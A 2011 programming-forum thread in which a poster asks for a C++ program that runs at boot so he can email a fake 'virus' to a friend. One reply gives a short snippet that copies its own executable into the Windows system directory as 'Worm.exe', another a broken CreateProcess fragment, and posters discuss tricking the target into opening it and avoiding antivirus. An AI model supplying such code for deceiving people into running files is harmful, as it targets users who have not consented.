Would you like to react to this message? Create an account in a few clicks or log in to continue.

How can I make a C++ Program that starts as soon as the computer boots up?

3 posters

 :: C Languages :: C++ :: Help!

Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Mon Oct 10, 2011 2:36 pm

Hello all!

I would like to make a C++ Program that will automatically start up as soon as the computer boots up. The problem is that I don't know how. If somebody could please write a basic "Hello world" program that starts runs upon boot-up, it would be much appreciated. I don't want any fancy GUI stuff, but just want a simple console application.

I want to send a hoax virus to a friend that appears to be installing mal-ware on their computer upon boot-up.

Thanks in advance for all the help!
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Nighthawk0973 Mon Oct 10, 2011 3:05 pm

Nighthawk0973
Nighthawk0973
Moderator
Moderator

Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Mon Oct 10, 2011 3:19 pm

Thanks nighthawk, but I want to incorporate the auto-start feature into the program so that way I can e-mail it to someone, and it will auto-start for them as well without them going through the process listed on the website link you gave me.
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  legolizard Mon Oct 10, 2011 5:27 pm

This is impossible. Not because of any C++ limitation, rather because a computer running windows, does not work like that.
legolizard
legolizard

Posts : 137
Join date : 2011-08-01
Location : On planet Char.

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Nighthawk0973 Mon Oct 10, 2011 6:37 pm

Not 100% true. This must be possible in some form of another without the manual process shown in the link I posted. What about programs like Steam, or my anti-virus softwares. They always run right when windows boots up. Plus I saw on the a commercial where they had this laptop that boots up in 10 seconds, and to prove how fast and useful it is, they had 2 guys drop the laptop when in mid-air (in a plane) after pressing the power button. The laptop boot up and ran a program that deployed a parachute, saving the laptops life Very Happy
Nighthawk0973
Nighthawk0973
Moderator
Moderator

Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  legolizard Mon Oct 10, 2011 6:48 pm

No it is not possible. You must understand that ALL the programs you have listed are ALL READY in your system directry/registry.


WAIT I HAD AN IDEA! (I rembered that I did this to my bro as a prank LAWL)

Let me find the file...
legolizard
legolizard

Posts : 137
Join date : 2011-08-01
Location : On planet Char.

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Mon Oct 10, 2011 7:03 pm

legolizard wrote:This is impossible. Not because of any C++ limitation, rather because a computer running windows, does not work like that.
What do you mean? I have used tons of programs that have an option in the prefrences to start the application automatically upon boot-up.
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  legolizard Mon Oct 10, 2011 10:42 pm

Yeah I was wrong , you can do it. What an idiot I am.

Anyway here is the code, also note I am not resposible for any kid-like virus you want to make with this ity-bity script.
Also note I REALLY don't feel like explaing the code, partaily because it is wise to keep those with evil intentions ignorant and partially because I am VERY tired and lazy at the moment. Razz
Code:
#include <windows.h>
#include <iostream>


char Worm[MAX_PATH];
char SysDir[MAX_PATH];

HMODULE HMod;

int  main ()
{
    HMod = GetModuleHandle(NULL);
    GetModuleFileName(HMod , Worm , sizeof(Worm));
    GetSystemDirectory(SysDir , sizeof(SysDir));
    strcat(SysDir, "\\Worm.exe" );
    if(CopyFile(Worm , SysDir , 0) == true){
        std::cout << "Copying complete!\n";
    }
    else
    std::cout <<"An unknown error has occured.\n";

    return 0;
}

legolizard
legolizard

Posts : 137
Join date : 2011-08-01
Location : On planet Char.

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Tue Oct 11, 2011 8:47 pm

legolizard wrote:Anyway here is the code, also note I am not resposible for any kid-like virus you want to make with this ity-bity script.
It is just a little something that I am going to try to use to creep someone out. Just a little evil trick on someone.

Anyways, thanks for the code! I hope it works! I will let you know how the "prank" goes after I have pulled it.

Testing code...


Last edited by David B on Tue Oct 11, 2011 9:14 pm; edited 1 time in total (Reason for editing : "Testing Code" message added.)
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Nighthawk0973 Tue Oct 11, 2011 10:38 pm

ahahahaha! You should totally make it do something SOO awesome! Like tell them theirs a virus on their computer or something hilarious like that. And than do something virus-like. Twisted Evil
Nighthawk0973
Nighthawk0973
Moderator
Moderator

Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  legolizard Tue Oct 11, 2011 10:45 pm

*sigh*

Please don't do anything too bad because in the end I am the one that is going to get in trouble. Sad
legolizard
legolizard

Posts : 137
Join date : 2011-08-01
Location : On planet Char.

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Nighthawk0973 Wed Oct 12, 2011 2:58 pm

not malicious content of course DB...
Nighthawk0973
Nighthawk0973
Moderator
Moderator

Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Wed Oct 12, 2011 4:46 pm

legolizard wrote:*sigh*

Please don't do anything too bad because in the end I am the one that is going to get in trouble. Sad
Don't worry lego. I will see to it that, no matter how the prank goes, that you will not get in trouble. All I want is something that behaves like a virus, but in reality, doesn't do a single thing.

Nighthawk0973 wrote:not malicious content of course DB...
Of course not! I was going to make the "virus" have a bunch of cout statments all saying something that sounds like it would be part of an attack.
_____________________-

As lego explained to me in the chat last night, the code he provided installs a file named, "worm.exe" on your computer. I searched for it just out of curosity, and during the search, here is what happened...
How can I make a C++ Program that starts as soon as the computer boots up? Avg_de10

Anyway lego, would you please explain to me this: If the person that I want to pull the prank on doesn't open the program that installs the "virus", will the program run automatically the next time the boot up, or will I have to trick them into opening the file? Also, after the "virus" is installed, will it run automatically the next time on boot-up, or will it just sit there, waiting to be found by anti-virus software?
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Nighthawk0973 Wed Oct 12, 2011 5:47 pm

Code:

LPCTSTR lpApplicationName = "C:/Windows/System32/cmd.exe"; /* The program to be executed */

LPSTARTUPINFO lpStartupInfo;
LPPROCESS_INFORMATION lpProcessInfo;

memset(&lpStartupInfo, 0, sizeof(lpStartupInfo));
memset(&lpProcessInfo, 0, sizeof(lpProcessInfo));

CreateProcess(lpApplicationName,
             
/* Create the process */
if (!CreateProcess(lpApplicationName
                  NULL, NULL, NULL,
                  NULL, NULL, NULL, NULL,
                  lpStartupInfo,
                  lpProcessInformation
                  )
  ) {
    std::cerr << "Uh-Oh! CreateProcess() failed to start program "" << lpApplicationName << ""\n";
    exit(1);
}

std::cout << "Started program "" << lpApplicationName << "" successfully\n";

and....

http://www.cplusplus.com/forum/lounge/17684/

Your Welcome!

(What a mess, you know what you need to do in C# to make a program run? Process.Start("ProgramFileLocation"); DONE!)
Nighthawk0973
Nighthawk0973
Moderator
Moderator

Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Wed Oct 12, 2011 8:17 pm

Thanks nighthawk!
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Nighthawk0973 Wed Oct 12, 2011 8:54 pm

I wrote:
Your Welcome!

What would we do without quotes...
Nighthawk0973
Nighthawk0973
Moderator
Moderator

Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  David B Wed Oct 12, 2011 9:50 pm

Remember this...

Guest wrote:Spamming is not allowed.
David B
David B
Administrator
Administrator

Posts : 618
Join date : 2011-07-20
Location : The Twilight Zone!

https://programmingforums.forumotion.com/

Back to top Go down

How can I make a C++ Program that starts as soon as the computer boots up? Empty Re: How can I make a C++ Program that starts as soon as the computer boots up?

Post  Sponsored content


Sponsored content


Back to top Go down

Back to top

- Similar topics

 :: C Languages :: C++ :: Help!

 
Permissions in this forum:
You cannot reply to topics in this forum